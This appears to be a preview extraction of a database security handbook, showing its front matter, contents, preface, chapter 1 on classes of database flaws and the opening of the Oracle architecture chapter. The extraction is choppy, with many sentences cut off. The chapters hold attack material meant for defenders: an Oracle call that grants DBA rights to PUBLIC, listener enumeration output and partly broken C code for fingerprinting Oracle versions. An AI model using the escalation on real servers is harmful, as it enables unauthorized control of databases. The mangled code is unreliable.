Search for notes by fellow students, in your own course and all over the country.
Browse our notes for titles which look like what you need, you can preview any of the notes via a sample of the contents. After you're happy these are the notes you're after simply pop them into your shopping cart.
Title: The Database Hacker's Handbook:Defending Database Servers
Description: If you are interested in the field of information security and penetration, you are now in the right place, a group of e-books that will help you balance the cognitive development of this area.
Description: If you are interested in the field of information security and penetration, you are now in the right place, a group of e-books that will help you balance the cognitive development of this area.
Document Preview
Extracts from the notes are below, to see the PDF you'll receive please use the links above
01_578014 ffirs
...
qxd
6/3/05
6:58 PM
Page ii
01_578014 ffirs
...
qxd
6/3/05
6:59 PM
Page iv
The Database Hacker’s Handbook: Defending Database Servers
Published by
Wiley Publishing, Inc
...
wiley
...
, Indianapolis, Indiana
Published simultaneously in Canada
ISBN 13: 978-0-7645-7801-4
ISBN 10: 0-7645-7801-4
Manufactured in the United States of America
10 9 8 7 6 5 4 3 2 1
1O/SS/QW/QV/IN
No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form
or by any means, electronic, mechanical, photocopying, recording, scanning or otherwise, except as
permitted under Sections 107 or 108 of the 1976 United States Copyright Act, without either the prior
written permission of the Publisher, or authorization through payment of the appropriate per-copy fee
to the Copyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, fax (978)
646-8600
...
, 10475 Crosspoint Blvd
...
wiley
...
Limit of Liability/Disclaimer of Warranty: The publisher and the author make no representations or
warranties with respect to the accuracy or completeness of the contents of this work and specifically
disclaim all warranties, including without limitation warranties of fitness for a particular purpose
...
The advice and strategies contained herein may not be suitable for every situation
...
If professional
assistance is required, the services of a competent professional person should be sought
...
The fact that an organization or
Website is referred to in this work as a citation and/or a potential source of further information does
not mean that the author or the publisher endorses the information the organization or Website may
provide or recommendations it may make
...
For general information on our other products and services or to obtain technical support, please contact our Customer Care Department within the U
...
at (800) 762-2974, outside the U
...
at (317) 572-3993
or fax (317) 572-4002
...
Some content that appears in print may
not be available in electronic books
...
[et al
...
cm
...
ISBN 0-7645-7801-4 (paper/website)
1
...
2
...
I
...
59
...
8—dc22
2005008241
Trademarks: Wiley, the Wiley logo, and related trade dress are registered trademarks of John Wiley &
Sons, Inc
...
All other trademarks are the property of their respective owners
...
, is not associated with any product or vendor mentioned in this book
...
qxd
6/3/05
6:59 PM
Page v
To my wife and best friend, Sophie
...
–Chris Anley
To my family and friends, for their support
...
–Bill Grindlay
01_578014 ffirs
...
qxd
6/3/05
6:59 PM
Page vii
About the Authors
David Litchfield specializes in searching for new threats to database systems
and web applications and holds the unofficial world record for finding major
security flaws
...
S
...
He is a co-author of The Shellcoder’s Handbook, SQL Server Security,
and Special Ops
...
Chris Anley is a co-author of The Shellcoder’s Handbook, a best-selling book
about security vulnerability research
...
John Heasman is a principal security consultant at NGS Software
...
Bill Grindlay is a senior security consultant and software engineer at NGS
Software
...
He is a
co-author of the database administrator’s guide, SQL Server Security
...
Founded in 2001, NGS Software’s consulting arm is the largest dedicated security team in Europe
...
vii
01_578014 ffirs
...
qxd
6/3/05
6:59 PM
Page ix
Credits
Acquisitions Editor
Carol Long
Vice President and Publisher
Joseph B
...
Jumper,
Lynsey Osborn,
Melanee Prendergast
Copy Editor
Kim Cofer
Editorial Manager
Mary Beth Wakefield
Vice President & Executive Group
Publisher
Richard Swadley
Quality Control Technician
Susan Moritz
Proofreading and Indexing
TECHBOOKS Production Services
ix
01_578014 ffirs
...
qxd
6/3/05
6:51 PM
Page xi
Contents
About the Authors
vii
Preface
xxi
Acknowledgments
xxv
Introduction
xxvii
Part I
Introduction
1
Chapter 1
Why Care About Database Security?
Which Database Is the Most Secure?
The State of Database Security Research
3
4
5
Classes of Database Security Flaws
Unauthenticated Flaws in Network Protocols
Authenticated Flaws in Network Protocols
Flaws in Authentication Protocols
Unauthenticated Access to Functionality
Arbitrary Code Execution in Intrinsic SQL Elements
Arbitrary Code Execution in Securable SQL Elements
Privilege Elevation via SQL Injection
Local Privilege Elevation Issues
So What Does It All Mean?
Finding Flaws in Your Database Server
Don’t Believe the Documentation
Implement Your Own Client
Debug the System to Understand How It Works
Identify Communication Protocols
Understand Arbitrary Code Execution Bugs
Write Your Own “Fuzzers”
Conclusion
5
6
7
8
9
9
10
11
12
13
13
14
14
14
15
15
15
16
xi
02_578014 ftoc
...
qxd
6/3/05
6:51 PM
Page xiii
Contents
PL/SQL and the Network
UTL_TCP
UTL_HTTP
UTL_SMTP
82
82
84
85
Summary
Chapter 5
85
Securing Oracle
Oracle Security Recommendations
87
87
Oracle TNS Listener
Set a TNS Listener Password
Turn on Admin Restrictions
Turn on TCP Valid Node Checking
Turn off XML Database
Turn off External Procedures
Encrypt Network Traffic
Oracle Database Server
Accounts
Lock and Expire Unused Accounts
New Account Creation
Passwords
Roles
New Role Creation
Roles for User Accounts
DBA Role
Auditing
PL/SQL Packages, Procedures, and Functions
Triggers
Patching
Security Audits
New Database Installs
New Database Creation
87
87
88
88
89
89
89
89
89
90
90
90
91
91
91
93
93
93
94
94
94
95
95
Part III
DB2
97
Chapter 6
IBM DB2 Universal Database
Introduction
DB2 Deployment Scenarios
99
99
100
DB2 on the Network
Header
Commands
Datatypes
DB2 Processes
DB2 Physical Database Layout
DB2 on Windows
DB2 on Linux
DB2 Logical Database Layout
DB2 Authentication and Authorization
100
104
104
104
106
108
108
109
109
109
xiii
02_578014 ftoc
...
153
153
154
154
155
155
Part IV
Informix
157
Chapter 10 The Informix Architecture
Examining the Informix Architecture
Informix on the Network
Connecting to a Remote Informix Server
The Informix Logical Layout
Understanding Authentication and Authorization
Connect
Resource
DBA
Object Privileges
Privileges and Creating Procedures
Chapter 11 Informix: Discovery, Attack, and Defense
Attacking and Defending Informix
Post-Authentication Attacks
Shared Memory, Usernames, and Passwords
159
159
159
160
160
163
163
163
163
164
164
165
165
176
178
02_578014 ftoc
...
qxd
xvi
6/3/05
6:51 PM
Page xvi
Contents
Chapter 14 Sybase: Discovery, Attack, and Defense
Finding Targets
Scanning for Sybase
Sybase Version Numbers
Snooping Authentication
Attacking Sybase
SQL Injection in Sybase
SQL Injection Basics
MS SQL Server Injection Techniques in Sybase
Comments
Union Select
Error Messages
@@version
Having/Group By
SQL Batch Injection
xp_cmdshell
xp_regread
Custom Extended Stored Procedures
CHAR Function to Bypass Quote Filters
SHUTDOWN
Audit Evasion via sp_password
Linked Servers
Using Time Delays as a Communications Channel
VARBINARY Literal Encoding and Exec
External Filesystem Access
Defending Against Attacks
Older Known Sybase ASE Security Bugs
CAN-2003-0327 — Remote Password Array Overflow
DBCC CHECKVERIFY Buffer Overflow
DROP DATABASE Buffer Overflow Vulnerability
xp_freedll Buffer Overflow
Sybase Version Tool
Chapter 15 Sybase: Moving Further into the Network
Accessing the Network
Connecting to Other Servers with Sybase
Java in SQL
209
209
209
210
211
211
211
212
215
216
216
216
217
218
218
218
219
219
219
220
220
220
221
223
224
226
226
227
227
227
227
228
235
235
236
237
JSQL TDS Client
JSQL TCP Proxy
239
241
Trojanning Sybase
243
Grant a User sa or sso_role
Allow Direct Updates to System Tables, Grant Access
to Selected System Tables
Chapter 16 Securing Sybase
Sybase Security Checklist
Background
Operating System
243
243
245
245
245
245
02_578014 ftoc
...
1
Authentication Algorithm Prior to 3
...
11
CHANGE_USER Prior to 3
...
54
Authentication Algorithm in 4
...
1, 4
...
2, and 5
...
0
Examining the Logical Database Architecture
MySQL Logical Database Architecture
Storage Engines
Filesystem Layout
Query Batching
Examining Users and Groups
Exploiting Architectural Design Flaws
246
246
246
247
248
250
253
255
255
256
257
258
259
260
260
260
261
261
263
263
264
265
265
266
272
User-Defined Functions
Flaws in the Access Control System
Missing Features with Security Impact
Missing Features That Improve Security
273
276
276
278
Chapter 18 MySQL: Discovery, Attack, and Defense
Finding Targets
279
279
Scanning for MySQL
MySQL Version Numbers
Snooping Authentication
Hacking MySQL
SQL Injection in MySQL
UNION SELECT
LOAD_FILE Function
LOAD DATA INFILE Statement
SELECT
...
qxd
6/3/05
6:51 PM
Page xviii
xviii Contents
Cracking Password Hashes
The MySQL One-Bit Patch
Dangerous Extensions: MyLUA and MyPHP
Local Attacks Against MySQL
Race Conditions
Overflows
The MySQL File Structure Revisited
300
302
303
304
304
304
305
Chapter 19 MySQL: Moving Further into the Network
MySQL Client Hash Authentication Patch
Running External Programs: User-Defined Functions
User-Defined Functions in Windows
Summary
307
307
309
311
315
Chapter 20 Securing MySQL
MySQL Security Checklist
317
317
Background
Operating System
MySQL Users
MySQL Configuration
Routine Audit
Background
Operating System
MySQL Users
MySQL Configuration
Routine Audit
Part VII
SQL Server
Chapter 21 Microsoft SQL Server Architecture
SQL Server Background
SQL Server Versions
Physical Architecture
Tabular Data Stream (TDS) Protocol
Network Libraries
SQL Server Processes and Ports
Authentication and Authorization
OPENROWSET Re-Authentication
Logical Architecture
Stored Procedures
Stored Procedure Encryption
Bypassing Access Controls
Uploading Files
Extended Stored Procedure Trojans
Global Temporary Stored Procedures
Triggers
317
318
318
319
319
319
320
322
324
326
329
331
331
332
333
333
334
334
336
339
341
341
343
343
344
344
345
346
02_578014 ftoc
...
qxd
xx
6/3/05
6:51 PM
Page xx
Contents
Part VIII
PostgreSQL
Chapter 24 The PostgreSQL Architecture
Examining the Physical Database Architecture
Secure Deployment
Common Deployment Scenarios
Terminology
The PostgreSQL File Structure
Protocols
Authentication
The System Catalogs
Examining Users and Groups
Stored Procedures
Chapter 25 PostgreSQL: Discovery and Attack
Finding Targets
The PostgreSQL Protocol
Network-Based Attacks Against PostgreSQL
Network Sniffing
ARP Spoofing and TCP Hijacking
Ident Spoofing
Information Leakage from Compromised Resources
Known PostgreSQL Bugs
Configuration Vulnerabilities
Code Execution Vulnerabilities
Vulnerabilities in PostgreSQL Components
SQL Injection with PostgreSQL
Useful Built-In Functions
Using Time Delay on PostgreSQL 8
...
qxd
6/3/05
6:55 PM
Page xxi
Preface
The Database Hacker’s Handbook: Defending Database Servers is about database
security
...
Who This Book Is For
This book is aimed at people who are interested in the practical reality of database security
...
The book is
unashamedly technical, and the reader is assumed to be familiar with wellknown security concepts such as buffer overflows, format string bugs, SQL
injection, basic network architecture, and so on
...
Above all, this book is aimed at people who want to ensure that their database systems are as secure as possible
...
We discuss the
mechanisms behind these problems and provide some analysis of how these
xxi
03_578014 fpref
...
The security landscape is constantly shifting and much of
the material in this volume is very specific to individual bugs, but the conclusions and discussion of generalized classes of security vulnerability will
remain relevant for many years to come
...
How This Book Is Structured
The book is divided into 8 parts that include 26 chapters and 3 appendixes
...
qxd
6/3/05
6:55 PM
Page xxiii
Preface xxiii
Part VI, MySQL
Chapter 17, MySQL Architecture
Chapter 18, MySQL: Discovery, Attack, and Defense
Chapter 19, MySQL: Moving Further into the Network
Chapter 20, Securing MySQL
Part VII, SQL Server
Chapter 21, Microsoft SQL Server Architecture
Chapter 22, SQL Server: Exploitation, Attack, and Defense
Chapter 23, Securing SQL Server
Part VIII, PostgreSQL
Chapter 24, The PostgreSQL Architecture
Chapter 25, PostgreSQL: Discovery and Attack
Chapter 26, Securing PostgreSQL
Appendix A, Example C Code for a Time-Delay SQL Injection Harness
Appendix B, Dangerous Extended Stored Procedures
Appendix C, Oracle Default Usernames and Passwords
Within each section, we discuss the basics of the architecture of the
database — how to find it in a network, roughly how it’s structured, and any
architectural peculiarities it may have
...
We then discuss the ways in which an attacker can gain further
access to the network, having compromised the database server
...
What You Need to Use This Book
Since this is a technical book, you might find it useful to have access to the systems we’re discussing while you’re reading the various chapters
...
03_578014 fpref
...
Just point your
browser to www
...
com/go/dbhackershandbook
...
qxd
6/3/05
6:55 PM
Page xxv
Acknowledgments
The authors would like to thank all of the many people who, through their
support, technical know-how, and dedication, have made this book possible
...
Finally, huge thanks are due to the team at Wiley
Publishing, in particular to our Acquisitions Editor, Carol Long, and our
Development Editor, Kenyon Brown, both of whom have been helpful, diligent, professional, and far more patient than we had any right to expect
...
qxd
6/3/05
6:55 PM
Page xxvi
04_578014 flast
...
When we say that modern economies are reliant on computers,
what we really mean is that modern economies are reliant on database systems
...
Since this volume covers seven of the most popular relational database
systems, chances are that your personal information is currently being stored
in the very systems that are the subject of this book
...
If database systems — the
systems we all implicitly trust to hold our most sensitive data — are not
secure, the potential impact on our lives, and even on our broader society,
could be devastating
...
The people we are all defending against already fully
understand how to attack databases and networks; their continued liberty
depends on that fact
...
Contrary to what most software vendors would have you
xxvii
04_578014 flast
...
For every bug that an independent researcher reports to a vendor, there are likely to be several bugs that are
known to people who don’t inform the vendor
...
More often than not, securing a database is a matter of applying the triedand-tested principles that have been used in network security for decades —
enforce minimal privilege, reduce “attack surface” by removing unnecessary
functionality, be strict about authentication and access controls, separate
blocks of functionality into distinct areas, enforce encryption
...
It’s tempting to read vendor literature pertaining to security and be reassured by the plethora of security measures that modern databases implement
...
Database vendors vie with each other to obtain security certifications that
prove that they have appropriately implemented these mechanisms
...
All of the databases discussed in this volume have been subject to buffer
overflows that violate almost all of these security mechanisms
...
It’s
time to get practical, and that’s what this book is all about
...
qxd
6/3/05
6:41 PM
Page 1
PA R T
I
Introduction
05_578014 pt01
...
qxd
6/3/05
6:50 PM
Page 3
CHAPTER
1
Why Care About
Database Security?
In the introduction, we discussed the reasons why we consider database security to be important
...
We also briefly discuss how to go about finding
security flaws in database systems
...
In recent years, with the explosion in web-based commerce and information
systems, databases have been drawing ever closer to the network perimeter
...
Databases that were
previously accessible only via several insulating layers of complex business
logic are now directly accessible from the much more fluid — and much less
secure — web application environment
...
With the constant march toward a paperless business environment, database systems are increasingly being used to hold more
and more sensitive information, so they present an increasingly valuable target
...
To cap all of this, the legislative
burden in terms of corporate security is increasing, with HIPAA, SOX, GLBA,
3
06_578014 ch01
...
1386 imposing an ever-increasing pressure on
companies to ensure that their networks are compliant
...
Which Database Is the Most Secure?
All of the databases we cover in this volume have had serious security flaws
at some point
...
Depending on which repository
you search, Microsoft SQL Server and its associated components have been
subject to something like 36 serious security issues — though again, some of
these patches relate to multiple bugs
...
MySQL has had
around 25 issues; Sybase ASE is something of a dark horse with a mere 2 published vulnerabilities
...
Informix has had
about half a dozen, depending on whose count you use
...
Different databases receive different levels of scrutiny from security researchers
...
Some databases have been around for many years, and others are
relatively recent
...
Even defining “database” is problematic
...
Should these applications be considered a part of the database? Is Microsoft’s MSDE a different database than SQL Server? They are
certainly used in different ways and have a number of differing components,
but they were both subject to the UDP Resolution Service bug that was the
basis for the “Slammer” worm
...
Is it fair to directly compare the
comprehensive audit capabilities of Oracle with the rather more limited capabilities of MySQL, for instance? Should a database that supports securable
06_578014 ch01
...
Should we take default configurations into
account? The list of criteria is almost endless, and drawing any firm conclusions from it is extremely dangerous
...
It isn’t true to
say, however, that the system with the most features is the most secure because
the more functionality a system has, the more target surface there is for an
attacker to abuse
...
”
In the end, the most secure database is the one that you know the most about
...
In general, when we use the phrase “database security research” we tend to mean research into specific, practical flaws
in the security of database systems
...
We don’t even mean academic research into the underlying abstractions of database security, such as field-, row-, and object-level security, or
encryption, or formal protocol security analysis — though the research we are
talking about may certainly touch on those subjects
...
So with that definition in mind, we will take a brief tour of recent — and not
so recent — discoveries, and attempt to classify them appropriately
...
In this section, we attempt to classify the majority of known database security issues into the following categories:
■
■
Unauthenticated Flaws in Network Protocols
■
■
Authenticated Flaws in Network Protocols
■
■
Flaws in Authentication Protocols
■
■
Unauthenticated Access to Functionality
5
06_578014 ch01
...
By this we mean buffer overflows, format
string bugs, and so on, in the underlying network protocols used by database
systems
...
The SQL Server Resolution Service operates over a
UDP protocol, by default on port 1434
...
These
bugs were discovered by David Litchfield of NGS
...
, which exploited a flaw in the initial session setup
code on TCP port 1433
...
Chris Anley of NGS discovered an earlier flaw in Oracle’s
extproc mechanism (CAN-2003-0634) that allowed for a remote, unauthenticated buffer overflow
...
David Litchfield also found a flaw in DB2’s JDBC Applet Server (no CVE,
but bugtraq id 11401) that allows a remote, unauthenticated user to trigger a
buffer overflow
...
Second, you should attempt to ensure that only trusted hosts
can connect to your database servers, possibly enforcing that trust through
some other authentication mechanism such as SSH or IPSec
...
Another possibility for defense is to implement an Intrusion Detection System (IDS) or an Intrusion Prevention System (IPS)
...
Although an IDS can (sometimes) tell you that you have been compromised, it
won’t normally prevent that compromise from happening
...
qxd
6/3/05
6:50 PM
Page 7
Why Care About Database Security?
IDS systems are only as strong as their signature databases and in most cases
signatures aren’t written by people who are capable of writing exploits, so
many loopholes in the signatures get missed
...
Although some IDS systems are better than others, in general you need
an IDS like you need someone telling you you’ve got a hole in the head
...
IPS systems, on the other hand, do prevent some classes of exploit from
working but again, every IPS system the authors have examined can be
bypassed with a little work, so your security largely depends on the attacker
not knowing which commercial IPS you’re using
...
Don’t hold your breath waiting for it,
though
...
This may reflect a reduced
focus on remote, authenticated bugs versus remote, unauthenticated bugs
among the security research community, or it may be sheer coincidence
...
David discovered another flaw in DB2 in this category recently, relating to
an attacker specifying an overly long locale LC_TYPE
...
There are several other bugs that debatably fall into this category, normally
relating to web application server components; because we’re focusing on the
databases themselves we’ll gloss over them
...
Auditing authenticated users is also a
good idea for a number of reasons; it might give you a heads-up if someone is
trying to guess or brute-force a password, and if you do have an incident, at
least you have somewhere to start looking
...
qxd
8
6/3/05
6:50 PM
Page 8
Chapter 1
Flaws in Authentication Protocols
Several database systems have plaintext authentication protocols, by which
we mean authentication protocols in which the password is passed “on the
wire” in a plaintext or easily decrypted format
...
By default, Microsoft SQL Server obfuscates passwords by
swapping the nibbles (4-bit halves of a byte) and XORing with 0xA5
...
MySQL has historically had a number of serious problems with its authentication protocol
...
1 was called into question by
Ariel Waissbein, Emiliano Kargieman, Carlos Sarraute, Gerardo Richarte, and
Agustin Azubel of CORE SDI (CVE-2000-0981)
...
A further conceptual problem with the authentication protocol in MySQL
prior to version 4
...
This leads to serious problems if a user is able to
somehow determine another user’s password hash — and MySQL has been
subject to a number of issues in which that was possible
...
23
...
Chris Anley recently found a very similar problem in MySQL (CAN2004-0627) whereby a user could authenticate using an empty response to the
server’s challenge, provided he or she passed certain flags to the remote server
...
Attackers don’t need to exploit an overflow or do
anything clever, they simply authenticate without necessarily needing the
password — or if they’ve been able to sniff the password, they just authenticate
...
If your DBMS cannot support
encrypted authentication in your environment, you could use IPSec or SSH to
provide an encrypted tunnel
...
06_578014 ch01
...
As an example of this, David
Litchfield found a problem with the Oracle 8 and 9i TNS Listener, whereby a
remote, unauthenticated user could load and execute an arbitrary function via
the “extproc” mechanism (CVE-2002-0567)
...
The command will be
executed with the privileges of the user that the database is running as —
“oracle” on UNIX systems, or the local system user on Windows
...
This bug works in exactly the same way as the bug listed
earlier (CVE-2002-0567), except that it takes advantage of the implicit trust that
extproc places in the local host
...
Clearly,
allowing a user to have a shell on a database server is dangerous anyway, but
in this particular case there is a known, documented vector for attack that the
vendor will not fix
...
Arbitrary Code Execution in Intrinsic SQL Elements
This class of buffer overflow applies to buffer overflow and format string bugs
in elements of the database’s SQL grammar that are not subject to the usual
access control mechanisms (GRANT and REVOKE)
...
A wellwritten exploit for a bug in this class could take a user from the Internet into
administrative control of your database server in a single step
...
This was a classic stack overflow in a function used by SQL Server to encrypt
passwords
...
9
06_578014 ch01
...
Mark Litchfield discovered that the TIME_ZONE session parameter,
and NUMTOYMINTERVAL, NUMTODSINTERVAL, FROM_TZ functions are
all subject to buffer overflows that allow an attacker to execute arbitrary code
...
Declaring a variable with an overly long data type name in Sybase ASE versions prior to 12
...
3 will trigger an overflow
...
Developers are likely to make mistakes, and since parsing code
can be so convoluted, it can be hard to tell whether or not code is secure
...
Allowing untrusted
users to influence SQL queries on the database server can also be a bad idea;
most organizations are aware of the threat posed by SQL injection but it is still
present in a sizeable proportion of the web applications that we audit
...
Arbitrary Code Execution in Securable SQL Elements
In a slightly less severe category than the intrinsic function overflows, we have
the set of overflow and format string bugs that exist in functions that can be
subject to access controls
...
Several bugs in this category have affected Microsoft SQL Server —
Chris Anley discovered buffer overflows in the extended stored procedures
xp_setsqlsecurity (CAN-2000-1088), xp_proxiedmetadata (CAN-2000-1087),
xp_printstatements (CAN-2000-1086), and xp_peekqueue (CAN-2000-1085)
...
Mark Litchfield discovered a buffer overflow in the BULK INSERT statement in SQL Server (CAN-2002-0641); by default the owner of a database can
execute this statement but a successful exploit will normally confer administrative privileges on the target host
...
06_578014 ch01
...
The difficulty with removing “default” privileges is that often there are implicit dependencies — system
components might depend on the ability to execute the stored procedure in
question, or some replication mechanism might fail if a given role has its permissions revoked
...
It is definitely worth investing some time and effort in determining which “optional”
components are in use in your environment and removing the ones that aren’t
...
Any component that dynamically creates and executes a SQL
query could in theory be subject to SQL injection
...
In Oracle, for example, stored procedures can execute with either the privilege of the invoker of the procedure, or the definer of the procedure
...
Recently David Litchfield discovered a
number of Oracle system–stored procedures that were vulnerable to this flaw
(CAN-2004-1370) — the following procedures all allow privilege elevation in
one form or another:
DBMS_EXPORT_EXTENSION
WK_ACL
...
STORE_ACL
WK_ADM
...
DELETE_ACLS_WITH_STATEMENT
DRILOAD
...
VALIDATE_STMT procedure is especially interesting since
no “SQL injection” is really necessary; the procedure simply executes the specified statement with DBA privileges, and the procedure can be called by anyone, for example the default user “SCOTT” can execute the following:
exec CTXSYS
...
VALIDATE_STMT(‘GRANT DBA TO PUBLIC’);
This will grant the “public” role DBA privileges
...
qxd
12
6/3/05
6:50 PM
Page 12
Chapter 1
In most other databases the effect of SQL injection in stored procedures
is less dramatic — in Sybase, for example, “definer rights” immediately back
down to “invoker rights” as soon as a stored procedure attempts to execute a
dynamically created SQL statement
...
It isn’t true to say that SQL injection in stored procedures has no effect in
SQL Server, however — if an attacker can inject SQL into a stored procedure,
he can directly modify the system catalog — but only if he already had permissions that would enable him to do so
...
One privilege elevation issue in SQL Server is related to the mechanism
used to add jobs to be executed by the SQL Server Agent (#NISR15002002B)
...
In general, patching is the answer to this class of problem
...
Local Privilege Elevation Issues
It could be argued that the “unauthenticated access to functionality” class is a
subset of this category, though there are some differences
...
Most of the Oracle “extproc” vulnerabilities arguably also fall
into this class
...
Other examples of bugs in this category are the SQL Server arbitrary file
creation/overwrite (#NISR19002002A), and the SQL Server sp_MScopyscript
arbitrary command execution (CAN-2002-0982) issues discovered by David
Litchfield
...
qxd
6/3/05
6:50 PM
Page 13
Why Care About Database Security?
MySQL had an interesting issue (CAN-2003-0150) in versions prior to 3
...
56,
whereby a user could overwrite a configuration file (my
...
” If the user
had privileges to read files from within MySQL (file_priv), he would then be
able to read any file on the system — and, via the UDF mechanism we discuss
later in this volume, execute arbitrary code as “root
...
In general, the best defense against this class of bug is to always run your
database as a low-privileged user — preferably in a chroot jail, but certainly
within a “segregated” part of the file system that only the database can read
and write to
...
The security research community is growing all the time, but it
seems there is still only a small set of individuals routinely discovering security flaws in databases
...
We believe that the only reason people haven’t discovered more security flaws in databases is simply that people aren’t looking
...
If we were being forced to make predictions, our guess would be that an
increasing proportion of the security research community will begin to focus on
databases in the next couple of years, resulting in a lot more patches — and a lot
better knowledge of the real level of security of the systems we all depend on so
utterly
...
Finding Flaws in Your Database Server
Hopefully the long catalog of issues described in the previous section has you
wondering what security problems still lurk undiscovered in your database
system
...
13
06_578014 ch01
...
Investigating the precise mechanism that implements
some interesting component of a database will often lead you into areas that
are relevant to security
...
Implement Your Own Client
If you restrict yourself to the clients provided by the vendor, you will be subject to the vendor’s client-side sanitization of your requests
...
The majority of the Oracle-supplied clients would truncate long usernames, or return an error before sending the username to the
server
...
In general, most servers will implement older versions of their network protocols for backward compatibility
...
Older protocol code might pre-date whole
classes of security bugs, such as signedness-error-based overflows and format
string bugs
...
Debug the System to Understand How It Works
The fastest way of getting to know a large, complex application is to “instrument” it — monitor its file system interactions, the network traffic it sends and
06_578014 ch01
...
The Oracle
“extproc” library loading issue is an excellent example of a bug that was found
simply by observing in detail how the system works
...
Each network protocol is worth examining, but there
are other communication protocols that may not be related to the network that
are just as interesting
...
Temporary files are
another interesting area to examine — several local privilege elevation issues
in Oracle and MySQL have related to scripts that made insecure use of temporary files
...
If either of those components
can be impersonated, you have a security issue
...
Almost everyone is aware of the mechanics of stack overflows,
but when you break down arbitrary code execution issues into subcategories,
you get interesting families of problems — format string bugs, FormatMessage
bugs, sprintf(“%s”) issues, stack overflows, stack overflows into app data,
heap overflows, off-by-one errors, signedness errors, malloc(0) errors — there
are a lot of different ways that an attacker can end up running code on the
machine, and some of them can be hard to spot if you don’t know what you’re
looking for
...
Write Your Own “Fuzzers”
Different people have different definitions of the word “fuzzer
...
You could write a
fuzzer that created well-formed SQL queries with overly long parameters to
15
06_578014 ch01
...
Or you could write a fuzzer for Oracle TNS
commands, or the SQL Server TDS protocol
...
Some would argue that placing your faith in fuzzers is foolish because you
lose most of the “feeling” that you get by doing your testing manually
...
Knowledge, understanding, and hard work can’t be easily automated —
but brute force and ignorance can, and it’s often worth doing
...
This concept, while controversial at first sight, has a long history in the field
of cryptography and in the broader network security field
...
We see no reason why software in general should not be subject to the same level of scrutiny
...
This book is largely composed of a lot of very specific details about the security features and flaws in a number of databases, but you should notice common threads running through the text
...
With luck, this will translate into databases that
are configured, maintained, and audited by people who are far more skilled
than the people who attack them
...
qxd
6/3/05
6:54 PM
Page 17
PA R T
II
Oracle
07_578014 pt02
...
qxd
6/3/05
6:52 PM
Page 19
CHAPTER
2
The Oracle
Architecture
Oracle is probably the most popular database server out there, with the largest
share of the market
...
One
of the reasons for this is that Oracle was an earlier player in the RDBMS area
and it provided versions of its database that ran on most operating systems;
and it still does, although it seems its preferred OS of choice is moving away
from Solaris toward Linux
...
It also seems with the explosion of e-Commerce a few years
back that Oracle gained a lot of traction as the database of choice for web applications
...
Oracle produces, in my opinion and as far as storing and querying data is
concerned, one of the best database servers available
...
There’s an interface into the RDBMS to suit
almost any developer taste and for every business use that can be dreamed of,
it seems that Oracle has already provided the solution
...
Each sliver of functionality provides a breadth of attack surface;
each solution a potential attack vector
...
The code behind
the RDBMS has historically been subject to a number of buffer overflows, and
19
08_578014 ch02
...
All this said, as long as your
database server doesn’t ever get attacked, and of course assuming you’re running Oracle, then you can long enjoy the great benefits this powerful RDBMS
provides
...
Examining the Oracle Architecture
We begin this chapter by examining the physical layout of the database, such
as the Oracle processes and how they interact with the network
...
Oracle Processes and Oracle on the Network
This section describes the major components of Oracle and their interaction
with the network
...
The Oracle TNS Listener
The TNS Listener is the hub of all communications in Oracle
...
The TNS protocol is described on the Ethereal web site at http://www
...
com/docs/dfref/t/tns
...
The TNS Listener responds to a number of commands such as “version,”
“status,” and “services,” and when a database server is first started, it registers
with the TNS Listener using the service_register_NSGR command
...
Incidentally, although the service_register_NSGR command is intended to be
used locally the command can be sent over the network
...
When a client wishes to access the database server, the client connects first
to the Listener
...
The client connects to this port and then authenticates to the database server
...
The TNS Listener usually listens on TCP port 1521 but, depending upon the version of Oracle and what applications have been installed this
08_578014 ch02
...
Regardless, the TNS Listener can be
configured to listen on any TCP port
...
Essentially when a PL/SQL procedure calls an external
procedure, the RDBMS connects to the Listener, and the Listener launches a
program called extproc to which the RDBMS connects
...
As you’ll see later this can be
abused by attackers to run commands without a user ID or password
...
The former allows querying of XML data over the FTP protocol and the latter over HTTP
...
In versions of Oracle prior to 10g, the TNS Listener could be administered
remotely
...
A password should be set to help secure the system
...
Using this tool it’s possible, among other things, to query the Listener for registered database services and retrieve status information:
C:\oracle\ora92\bin>lsnrctl
LSNRCTL for 32-bit Windows: Version 9
...
0
...
0 - Production on 10-OCT2004 17:31:49
Copyright (c) 1991, 2002, Oracle Corporation
...
Welcome to LSNRCTL, type “help” for information
...
1
...
1
Current Listener is 192
...
0
...
1
...
1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10
...
1
...
2
...
1
...
19 min
...
ora
Listener Log File
C:\oracle\ora92\network\log\listener
...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\
...
qxd
22
6/3/05
6:52 PM
Page 22
Chapter 2
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=2100))
(Presentation=FTP)(Session=RAW))
Services Summary
...
Instance “ORAXP”, status UNKNOWN, has 1 handler(s) for this service
...
Instance “PLSExtProc”, status UNKNOWN, has 1 handler(s) for this
service
...
ngssoftware
...
Instance “oraxp”, status READY, has 1 handler(s) for this service
...
ngssoftware
...
Instance “oraxp”, status READY, has 1 handler(s) for this service
...
As an interesting
aside, if the Listener receives an invalid TNS packet, it will reply with a packet
similar to
IP Header
Length and version: 0x45
Type of service: 0x00
Total length: 94
Identifier: 61557
Flags: 0x4000
TTL: 128
Protocol: 6 (TCP)
Checksum: 0x884c
Source IP: 10
...
1
...
1
...
2
TCP Header
Source port: 1521
Dest port: 3100
Sequence: 2627528132
ack: 759427443
Header length: 0x50
Flags: 0x18 (ACK PSH )
Window Size: 17450
Checksum: 0xe1e8
Urgent Pointer: 0
Raw Data
00 36 00 00 04 00 00 00 22 00 00 2a 28 44 45 53
*(DES)
43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31
(CRIPTION=(ERR=11)
35 33 29 28 56 53 4e 4e 55 4d 3d 31 35 31 30 30
(53)(VSNNUM=15100)
30 30 36 35 29 29
(0065)))
( 6
“
08_578014 ch02
...
When 151000065 is converted into hex we begin to see it
better: 9001401
...
0
...
4
...
The following code
can be used to query this information:
/************************************
/ Compile from a command line
/
/ C:\>cl /TC oraver
...
lib
/
*/
#include
h>
#include
”);
printf(“\n\n\tC:\\>%s host [port]”,argv[0]);
printf(“\n\n\tDavid
Litchfield\n\tdavidl@ngssoftware
...
\n”);
else
GetOracleVersion();
WSACleanup();
return 0;
}
23
08_578014 ch02
...
wVersion ) != 2 || HIBYTE( wsaData
...
sin_addr
...
sin_family=AF_INET;
if (isalpha(host[0]))
{
he = gethostbyname(host);
